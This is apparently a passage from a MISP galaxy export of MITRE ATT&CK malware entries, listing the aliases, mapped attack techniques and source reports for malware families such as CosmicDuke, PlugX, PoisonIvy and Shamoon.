CosmicDuke - S0050 is also known as:

CosmicDuke
TinyBaron
BotgenStudios
NemesisGemina

CosmicDuke - S0050 has relationships with:

uses: misp-galaxy:mitre-attack-pattern="New Service - T1050" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Automated Exfiltration - T1020" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Credential Dumping - T1003" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Screen Capture - T1113" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Data from Removable Media - T1025" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Email Collection - T1114" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Exploitation for Privilege Escalation - T1068" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Custom Cryptographic Protocol - T1024" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Data from Network Shared Drive - T1039" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Exfiltration Over Alternative Protocol - T1048" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Clipboard Data - T1115" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Input Capture - T1056" with estimative-language:likelihood-probability="almost-certain"

Table 3113. Table References
Links
https://attack.mitre.org/software/S0050
https://www.f-secure.com/documents/996508/1030745/dukes_whitepaper.pdf

HTTPBrowser - S0070

[HTTPBrowser](https://attack.mitre.org/software/S0070) is malware that has been used by several threat groups. (Citation: ThreatStream Evasion Analysis) (Citation: Dell TG-3390) It is believed to be of Chinese origin. (Citation: ThreatConnect Anthem)

The tag is: misp-galaxy:mitre-malware="HTTPBrowser - S0070"

HTTPBrowser - S0070 is also known as:

HTTPBrowser
Token Control
HttpDump

HTTPBrowser - S0070 has relationships with:

similar: misp-galaxy:tool="HTTPBrowser" with estimative-language:likelihood-probability="likely"
uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Commonly Used Port - T1043" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Masquerading - T1036" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1060" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Command-Line Interface - T1059" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Input Capture - T1056" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1107" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="DLL Search Order Hijacking - T1038" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="DLL Side-Loading - T1073" with estimative-language:likelihood-probability="almost-certain"

Table 3114. Table References
Links
https://attack.mitre.org/software/S0070
https://www.secureworks.com/research/threat-group-3390-targets-organizations-for-cyberespionage
https://www.threatconnect.com/the-anthem-hack-all-roads-lead-to-china/
https://www.threatstream.com/blog/evasive-maneuvers-the-wekby-group-attempts-to-evade-analysis-via-custom-rop

Mivast - S0080

[Mivast](https://attack.mitre.org/software/S0080) is a backdoor that has been used by [Deep Panda](https://attack.mitre.org/groups/G0009). It was reportedly used in the Anthem breach. (Citation: Symantec Black Vine)

The tag is: misp-galaxy:mitre-malware="Mivast - S0080"

Mivast - S0080 is also known as:

Mivast

Mivast - S0080 has relationships with:

uses: misp-galaxy:mitre-attack-pattern="Command-Line Interface - T1059" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1060" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Commonly Used Port - T1043" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Credential Dumping - T1003" with estimative-language:likelihood-probability="almost-certain"

Table 3115. Table References
Links
https://attack.mitre.org/software/S0080
http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-black-vine-cyberespionage-group.pdf
http://www.symantec.com/security_response/writeup.jsp?docid=2015-020623-0740-99&tabid=2

Hikit - S0009

[Hikit](https://attack.mitre.org/software/S0009) is malware that has been used by [Axiom](https://attack.mitre.org/groups/G0001) for late-stage persistence and exfiltration after the initial compromise. (Citation: Novetta-Axiom)

The tag is: misp-galaxy:mitre-malware="Hikit - S0009"

Hikit - S0009 is also known as:

Hikit

Hikit - S0009 has relationships with:

similar: misp-galaxy:tool="Hikit" with estimative-language:likelihood-probability="likely"
uses: misp-galaxy:mitre-attack-pattern="Connection Proxy - T1090" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Custom Cryptographic Protocol - T1024" with estimative-language:likelihood-probability="almost-certain"

Table 3116. Table References
Links
https://attack.mitre.org/software/S0009
http://www.novetta.com/wp-content/uploads/2014/11/Executive_Summary-Final_1.pdf

Rover - S0090

[Rover](https://attack.mitre.org/software/S0090) is malware suspected of being used for espionage purposes. It was used in 2015 in a targeted email sent to an Indian Ambassador to Afghanistan. (Citation: Palo Alto Rover)

The tag is: misp-galaxy:mitre-malware="Rover - S0090"

Rover - S0090 is also known as:

Rover

Rover - S0090 has relationships with:

similar: misp-galaxy:malpedia="Rover" with estimative-language:likelihood-probability="likely"
uses: misp-galaxy:mitre-attack-pattern="Screen Capture - T1113" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Input Capture - T1056" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Data from Removable Media - T1025" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Data Staged - T1074" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Automated Collection - T1119" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1060" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Automated Exfiltration - T1020" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"

Table 3117. Table References
Links
https://attack.mitre.org/software/S0090
http://researchcenter.paloaltonetworks.com/2016/02/new-malware-rover-targets-indian-ambassador-to-afghanistan/

Taidoor - S0011

[Taidoor](https://attack.mitre.org/software/S0011) is malware that has been used since at least 2010, primarily to target Taiwanese government organizations. (Citation: TrendMicro Taidoor)

The tag is: misp-galaxy:mitre-malware="Taidoor - S0011"

Taidoor - S0011 is also known as:

Taidoor

Taidoor - S0011 has relationships with:

similar: misp-galaxy:tool="Taidoor" with estimative-language:likelihood-probability="likely"
uses: misp-galaxy:mitre-attack-pattern="Process Injection - T1055" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Custom Cryptographic Protocol - T1024" with estimative-language:likelihood-probability="almost-certain"

Table 3118. Table References
Links
https://attack.mitre.org/software/S0011
http://www.trendmicro.com/cloud-content/us/pdfs/security-intelligence/white-papers/wp_the_taidoor_campaign.pdf

WEBC2 - S0109

[WEBC2](https://attack.mitre.org/software/S0109) is a backdoor used by [APT1](https://attack.mitre.org/groups/G0006) to retrieve a Web page from a predetermined C2 server. (Citation: Mandiant APT1 Appendix)(Citation: Mandiant APT1)

The tag is: misp-galaxy:mitre-malware="WEBC2 - S0109"

WEBC2 - S0109 is also known as:

WEBC2

WEBC2 - S0109 has relationships with:

similar: misp-galaxy:tool="WEBC2" with estimative-language:likelihood-probability="likely"
uses: misp-galaxy:mitre-attack-pattern="Command-Line Interface - T1059" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="DLL Search Order Hijacking - T1038" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"

Table 3119. Table References
Links
https://attack.mitre.org/software/S0109
https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report-appendix.zip
https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf

Derusbi - S0021

[Derusbi](https://attack.mitre.org/software/S0021) is malware used by multiple Chinese APT groups. (Citation: Novetta-Axiom) (Citation: ThreatConnect Anthem) Both Windows and Linux variants have been observed. (Citation: Fidelis Turbo)

The tag is: misp-galaxy:mitre-malware="Derusbi - S0021"

Derusbi - S0021 is also known as:

Derusbi
PHOTO

Derusbi - S0021 has relationships with:

similar: misp-galaxy:tool="Derusbi" with estimative-language:likelihood-probability="likely"
similar: misp-galaxy:malpedia="Derusbi" with estimative-language:likelihood-probability="likely"
uses: misp-galaxy:mitre-attack-pattern="Screen Capture - T1113" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Video Capture - T1125" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Audio Capture - T1123" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Timestomp - T1099" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Custom Cryptographic Protocol - T1024" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Process Injection - T1055" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Input Capture - T1056" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Custom Command and Control Protocol - T1094" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Standard Non-Application Layer Protocol - T1095" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Query Registry - T1012" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Command-Line Interface - T1059" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1107" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Fallback Channels - T1008" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Regsvr32 - T1117" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Commonly Used Port - T1043" with estimative-language:likelihood-probability="almost-certain"

Table 3120. Table References
Links
https://attack.mitre.org/software/S0021
http://www.novetta.com/wp-content/uploads/2014/11/Executive_Summary-Final_1.pdf
https://www.threatconnect.com/the-anthem-hack-all-roads-lead-to-china/
https://paper.seebug.org/papers/APT/APT_CyberCriminal_Campagin/2016/2016.02.29.Turbo_Campaign_Derusbi/TA_Fidelis_Turbo_1602_0.pdf
https://www.fireeye.com/blog/threat-research/2018/03/suspected-chinese-espionage-group-targeting-maritime-and-engineering-industries.html

JPIN - S0201

[JPIN](https://attack.mitre.org/software/S0201) is a custom-built backdoor family used by [PLATINUM](https://attack.mitre.org/groups/G0068). Evidence suggests developers of [JPIN](https://attack.mitre.org/software/S0201) and [Dipsind](https://attack.mitre.org/software/S0200) code bases were related in some way. (Citation: Microsoft PLATINUM April 2016)

The tag is: misp-galaxy:mitre-malware="JPIN - S0201"

JPIN - S0201 is also known as:

JPIN

JPIN - S0201 has relationships with:

uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Process Injection - T1055" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Security Software Discovery - T1063" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Service Discovery - T1007" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Disabling Security Tools - T1089" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1107" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="File and Directory Permissions Modification - T1222" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Input Capture - T1056" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Command-Line Interface - T1059" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Query Registry - T1012" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Permission Groups Discovery - T1069" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="BITS Jobs - T1197" with estimative-language:likelihood-probability="almost-certain"

Table 3121. Table References
Links
https://attack.mitre.org/software/S0201
https://download.microsoft.com/download/2/2/5/225BFE3E-E1DE-4F5B-A77B-71200928D209/Platinum%20feature%20article%20-%20Targeted%20attacks%20in%20South%20and%20Southeast%20Asia%20April%202016.pdf

PoisonIvy - S0012

[PoisonIvy](https://attack.mitre.org/software/S0012) is a popular remote access tool (RAT) that has been used by many groups. (Citation: FireEye Poison Ivy) (Citation: Symantec Elderwood Sept 2012) (Citation: Symantec Darkmoon Aug 2005)

The tag is: misp-galaxy:mitre-malware="PoisonIvy - S0012"

PoisonIvy - S0012 is also known as:

PoisonIvy
Poison Ivy
Darkmoon

PoisonIvy - S0012 has relationships with:

similar: misp-galaxy:rat="PoisonIvy" with estimative-language:likelihood-probability="likely"
similar: misp-galaxy:tool="Poison Ivy" with estimative-language:likelihood-probability="likely"
similar: misp-galaxy:tool="poisonivy" with estimative-language:likelihood-probability="likely"
similar: misp-galaxy:malpedia="Poison Ivy" with estimative-language:likelihood-probability="likely"
uses: misp-galaxy:mitre-attack-pattern="Process Injection - T1055" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1060" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="New Service - T1050" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Rootkit - T1014" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Standard Cryptographic Protocol - T1032" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Modify Existing Service - T1031" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Data Staged - T1074" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Input Capture - T1056" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Uncommonly Used Port - T1065" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Command-Line Interface - T1059" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Application Window Discovery - T1010" with estimative-language:likelihood-probability="almost-certain"

Table 3122. Table References
Links
https://attack.mitre.org/software/S0012
https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-poison-ivy.pdf
http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-elderwood-project.pdf
https://www.symantec.com/security_response/writeup.jsp?docid=2005-081910-3934-99
https://www.symantec.com/connect/blogs/life-mars-how-attackers-took-advantage-hope-alien-existance-new-darkmoon-campaign

Nerex - S0210

[Nerex](https://attack.mitre.org/software/S0210) is a Trojan used by [Elderwood](https://attack.mitre.org/groups/G0066) to open a backdoor on compromised hosts. (Citation: Symantec Elderwood Sept 2012) (Citation: Symantec Nerex May 2012)

The tag is: misp-galaxy:mitre-malware="Nerex - S0210"

Nerex - S0210 is also known as:

Nerex

Nerex - S0210 has relationships with:

uses: misp-galaxy:mitre-attack-pattern="Code Signing - T1116" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="New Service - T1050" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"

Table 3123. Table References
Links
https://attack.mitre.org/software/S0210
http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-elderwood-project.pdf
https://www.symantec.com/security_response/writeup.jsp?docid=2012-051515-3445-99

BACKSPACE - S0031

[BACKSPACE](https://attack.mitre.org/software/S0031) is a backdoor used by [APT30](https://attack.mitre.org/groups/G0013) that dates back to at least 2005. (Citation: FireEye APT30)

The tag is: misp-galaxy:mitre-malware="BACKSPACE - S0031"

BACKSPACE - S0031 is also known as:

BACKSPACE
Lecna

BACKSPACE - S0031 has relationships with:

similar: misp-galaxy:tool="Backspace" with estimative-language:likelihood-probability="likely"
uses: misp-galaxy:mitre-attack-pattern="Disabling Security Tools - T1089" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Command-Line Interface - T1059" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1060" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Connection Proxy - T1090" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Query Registry - T1012" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Multi-Stage Channels - T1104" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Shortcut Modification - T1023" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Data Obfuscation - T1001" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Exfiltration Over Command and Control Channel - T1041" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"

Table 3124. Table References
Links
https://attack.mitre.org/software/S0031
https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf

Dendroid - S0301

[Dendroid](https://attack.mitre.org/software/S0301) is an Android malware family. (Citation: Lookout-Dendroid)

The tag is: misp-galaxy:mitre-malware="Dendroid - S0301"

Dendroid - S0301 is also known as:

Dendroid

Dendroid - S0301 has relationships with:

similar: misp-galaxy:rat="Dendroid" with estimative-language:likelihood-probability="likely"
uses: misp-galaxy:mitre-attack-pattern="Capture Audio - T1429" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Capture Camera - T1512" with estimative-language:likelihood-probability="almost-certain"

Table 3125. Table References
Links
https://attack.mitre.org/software/S0301
https://blog.lookout.com/blog/2014/03/06/dendroid/

PlugX - S0013

[PlugX](https://attack.mitre.org/software/S0013) is a remote access tool (RAT) that uses modular plugins. It has been used by multiple threat groups. (Citation: Lastline PlugX Analysis) (Citation: FireEye Clandestine Fox Part 2) (Citation: New DragonOK) (Citation: Dell TG-3390)

The tag is: misp-galaxy:mitre-malware="PlugX - S0013"

PlugX - S0013 is also known as:

PlugX
DestroyRAT
Sogu
Kaba
Korplug

PlugX - S0013 has relationships with:

similar: misp-galaxy:rat="PlugX" with estimative-language:likelihood-probability="likely"
similar: misp-galaxy:tool="PlugX" with estimative-language:likelihood-probability="likely"
similar: misp-galaxy:malpedia="PlugX" with estimative-language:likelihood-probability="likely"
uses: misp-galaxy:mitre-attack-pattern="Execution through API - T1106" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Input Capture - T1056" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="DLL Side-Loading - T1073" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Multiband Communication - T1026" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Command-Line Interface - T1059" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Screen Capture - T1113" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Commonly Used Port - T1043" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Modify Existing Service - T1031" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Query Registry - T1012" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Trusted Developer Utilities - T1127" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Web Service - T1102" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Custom Command and Control Protocol - T1094" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="New Service - T1050" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Masquerading - T1036" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Standard Non-Application Layer Protocol - T1095" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1060" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Network Share Discovery - T1135" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Network Connections Discovery - T1049" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Virtualization/Sandbox Evasion - T1497" with estimative-language:likelihood-probability="almost-certain"

Table 3126. Table References
Links
https://attack.mitre.org/software/S0013
http://labs.lastline.com/an-analysis-of-plugx
https://www.fireeye.com/blog/threat-research/2014/06/clandestine-fox-part-deux.html
http://researchcenter.paloaltonetworks.com/2015/04/unit-42-identifies-new-dragonok-backdoor-malware-deployed-against-japanese-targets/
https://www.secureworks.com/research/threat-group-3390-targets-organizations-for-cyberespionage
http://circl.lu/assets/files/tr-12/tr-12-circl-plugx-analysis-v1.pdf

Fysbis - S0410

[Fysbis](https://attack.mitre.org/software/S0410) is a Linux-based backdoor used by [APT28](https://attack.mitre.org/groups/G0007) that dates back to at least 2014.(Citation: Fysbis Palo Alto Analysis)

The tag is: misp-galaxy:mitre-malware="Fysbis - S0410"

Fysbis - S0410 is also known as:

Fysbis

Fysbis - S0410 has relationships with:

uses: misp-galaxy:mitre-attack-pattern="Masquerading - T1036" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Systemd Service - T1501" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Data Encoding - T1132" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Command-Line Interface - T1059" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Input Capture - T1056" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1107" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Commonly Used Port - T1043" with estimative-language:likelihood-probability="almost-certain"

Table 3127. Table References
Links
https://attack.mitre.org/software/S0410
https://researchcenter.paloaltonetworks.com/2016/02/a-look-into-fysbis-sofacys-linux-backdoor/

Shamoon - S0140

[Shamoon](https://attack.mitre.org/software/S0140) is wiper malware that was first used by an Iranian group known as the "Cutting Sword of Justice" in 2012. Other versions known as Shamoon 2 and Shamoon 3 were observed in 2016 and 2018. [Shamoon](https://attack.mitre.org/software/S0140) has also been seen leveraging [RawDisk](https://attack.mitre.org/software/S0364) to carry out data wiping tasks. The term Shamoon is sometimes used to refer to the group using the malware as well as the malware itself.(Citation: Palo Alto Shamoon Nov 2016)(Citation: Unit 42 Shamoon3 2018)(Citation: Symantec Shamoon 2012)(Citation: FireEye Shamoon Nov 2016)

The tag is: misp-galaxy:mitre-malware="Shamoon - S0140"

Shamoon - S0140 is also known as:

Shamoon
Disttrack

Shamoon - S0140 has relationships with:

similar: misp-galaxy:tool="Shamoon" with estimative-language:likelihood-probability="likely"
uses: misp-galaxy:mitre-attack-pattern="Bypass User Account Control - T1088" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Valid Accounts - T1078" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="New Service - T1050" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Masquerading - T1036" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
